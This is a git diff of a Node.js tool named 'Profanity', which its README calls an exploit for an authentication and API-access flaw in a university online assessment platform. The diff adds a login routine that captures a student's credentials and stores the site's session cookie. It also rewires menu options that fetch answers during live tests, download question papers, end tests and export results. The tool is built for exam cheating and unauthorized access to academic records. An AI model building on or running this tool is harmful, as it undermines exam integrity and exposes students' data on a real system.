diff --git a/App.js b/App.js index 1c5eaf0..f433133 100644 --- a/App.js +++ b/App.js @@ -3,30 +3,56 @@ const oneres = require("./src/getOneResult"); const que = require("./src/getQuestions"); const endt = require("./src/endTest"); const anst = require("./src/getAnswer"); +const prompt = require("prompt-sync")({ sigint: true }); +const fs = require('fs'); +var fetch_cookies = async (username, password) => { + var x = await fetch("https://oas.lpu.in/Home/NewLoginMethod", { + "headers": { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", + "content-type": "application/x-www-form-urlencoded", + "Referer": "https://oas.lpu.in/", + }, + "body": `LoginId=${username}&Password=${encodeURIComponent(password)}`, + "method": "POST", + redirect: 'manual', + }); + var resp = await x.headers.get('Set-Cookie'); + return resp.split('OASvalue=').pop().split(';')[0]; +} -console.log("Profanity v1.0.1"); -console.log("Author: 0x0is1"); +const main = async () => { + console.log("Profanity v1.0.1"); + console.log("Author: 0x0is1"); -switch (parseInt(process.argv[2])) { - case 1: - dexp.exportData(null); - break; - case 2: - oneres.getOneResult(null); - break; - case 3: - que.getQuestions(null); - break; - case 4: - endt.endTest(null); - break; - case 5: - anst.getAnswer(null); - break; - case 6: - anst.getAnswerNNA(null); - break; - default: - console.log("Wrong option selected.") -} + var registrat = prompt('Enter Your registration number: '); + var passw = prompt.hide('Enter your password: '); + + const cookies = await fetch_cookies(registrat, passw); + fs.writeFileSync('./src/creds/token.txt', cookies); + + switch (parseInt(process.argv[2])) { + case 1: + dexp.exportData(passw, registrat); + break; + case 2: + oneres.getOneResult(registrat); + break; + case 3: + que.getQuestions(registrat); + break; + case 4: + endt.endTest(registrat); + break; + case 5: + anst.getAnswer(registrat); + break; + case 6: + anst.getAnswerNNA(registrat); + break; + default: + console.log("Wrong option selected."); + } +}; + +main(); diff --git a/README.md b/README.md index 676a884..ce9106d 100644 --- a/README.md +++ b/README.md @@ -3,13 +3,16 @@ [![NodeJS with Webpack](https://github.com/0x0is1/profanity/actions/workflows/webpack.yml/badge.svg)](https://github.com/0x0is1/profanity/actions/workflows/webpack.yml) [![Say Thanks!](https://img.shields.io/badge/Say%20Thanks-!-1EAEDB.svg)](https://saythanks.io/to/0x0is1off@gmail.com) ![Version](https://img.shields.io/badge/Version-1.0.1-red) -![Deprecation](https://img.shields.io/badge/Deprecation-Yes-orange) +![Deprecation](https://img.shields.io/badge/Deprecation-No-green) ```js [18-03-2023] ISSUE HAS BEEN DISCLOSED AND FIXED BY VENDOR THIS EXPLOIT DOES NOT AFFECT THE VENDOR ANYMORE SO MAKING IT PUBLIC +[25-09-2024] +REVIVING THIS PROJECT WITH AUTHENTICATION +AND USERS RESPONSBILITY ``` This repository contains exploit for bug in Authetication and API Access of the affected platform. This exploit has been released without the original vendor's prior knowledege as of now. diff --git a/run.bat b/run.bat index 6df76ff..16b524d 100644 --- a/run.bat +++ b/run.bat @@ -7,39 +7,13 @@ if exist node_modules\ ( echo npm packages not found. Installing... npm install ) -echo 1. Get one result -echo 2. Get all results +echo 1. Get all result +echo 2. Get one results echo 3. Get Question Paper echo 4. End test echo 5. Get answer - question navigation allowed echo 6. Get answer - question navigation not allowed set /p input=Select action: -if %input%==1 ( - npm run result - pause -) -if %input%==2 ( - npm run export - pause -) -if %input%==3 ( - npm run question - pause -) -if %input%==4 ( - npm run end - pause -) -if %input%==5 ( - npm run answer - pause -) -if %input%==6 ( - npm run answern - pause -) else ( - echo Wrong option selected - pause -) +node App.js %input% pause \ No newline at end of file diff --git a/src/creds/.gitkeep b/src/creds/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/src/exportData.js b/src/exportData.js index 7bce33c..b6c5edc 100644 --- a/src/exportData.js +++ b/src/exportData.js @@ -48,13 +48,16 @@ function export2excel(filename, data) { console.log(e); } } -async function exportData(tem=1) { +async function exportData(tpw, tem=1) { + let registrat; + let passw; if (tem === null) { - var registrat = prompt('Enter Your registration number: '); - var passw = prompt.hide('Enter your password: '); + registrat = prompt('Enter Your registration number: '); + passw = prompt.hide('Enter your password: '); } else { - return; + registrat = tem; + passw = tpw; } await loginHandler.login(registrat, passw, 330).then(async data => { diff --git a/src/getAnswer.js b/src/getAnswer.js index 87ef388..5f28392 100644 --- a/src/getAnswer.js +++ b/src/getAnswer.js @@ -16,10 +16,7 @@ async function getAnswer(rno) { for (var [i, j] of data.entries()) { console.log(`[${i + 1}] ${j.TestName}`); } - if (rno === null) { - var selid = prompt('Select test to get answers: '); - } - else selid = 1; + var selid = prompt('Select test to get answers: '); var tid = data[selid-1].TestId; // var set = prompt('Enter set number: '); diff --git a/src/getQuestions.js b/src/getQuestions.js index d5d80bb..4918baa 100644 --- a/src/getQuestions.js +++ b/src/getQuestions.js @@ -91,13 +91,12 @@ var htmlBoilerPlate = `